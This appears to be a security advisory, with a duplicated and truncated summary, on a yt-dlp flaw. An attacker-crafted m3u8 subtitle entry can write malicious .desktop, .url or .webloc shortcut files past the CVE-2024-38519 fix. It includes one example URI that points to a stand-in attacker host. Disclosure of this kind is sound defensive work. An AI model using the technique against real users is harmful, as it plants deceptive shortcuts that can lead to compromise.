Affected: yt-dlp

yt-dlp is a command-line audio/video downloader. Prior to 2026.06.09, a vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519. The allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download. This vulnerability is fixed in 2026.06.09.

Affected: PyPI: yt-dlp

### Summary A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as `.desktop`, `.url`, `.webloc`) to the user's filesystem, bypassing the remediation for `CVE-2024-38519`.

### Details The fix for `CVE-2024-38519` enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as `.exe` or `.sh`) during file downloads. However, this allowlist explicitly included the unsafe extensions `.desktop`, `.url`, and `.webloc` so that the functionality of the `--write-link` option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.

Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a malicious URI (e.g., `URI="http://attacker/x.desktop"`), which would result in yt-dlp writing the attacker-controlled content to a file with a `.desktop` extension if the user had passed the `--write-subs` option.

Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.

While these shortcut files are typically used to point to web…

Affected: PyPI: yt-dlp

### Summary A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as `.desktop`, `.url`, `.webloc`) to the user's filesystem, bypassing the remediation for `CVE-2024-38519`.

### Details The fix for `CVE-2024-38519` enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as `.exe` or `.sh`) during file downloads. However, this allowlist explicitly included the unsafe extensions `.desktop`, `.url`, and `.webloc` so that the functionality of the `--write-link` option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.

Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a malicious URI (e.g., `URI="http://attacker/x.desktop"`), which would result in yt-dlp writing the attacker-controlled content to a file with a `.desktop` extension if the user had passed the `--write-subs` option.

Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.

While these shortcut files are typically used to point to web…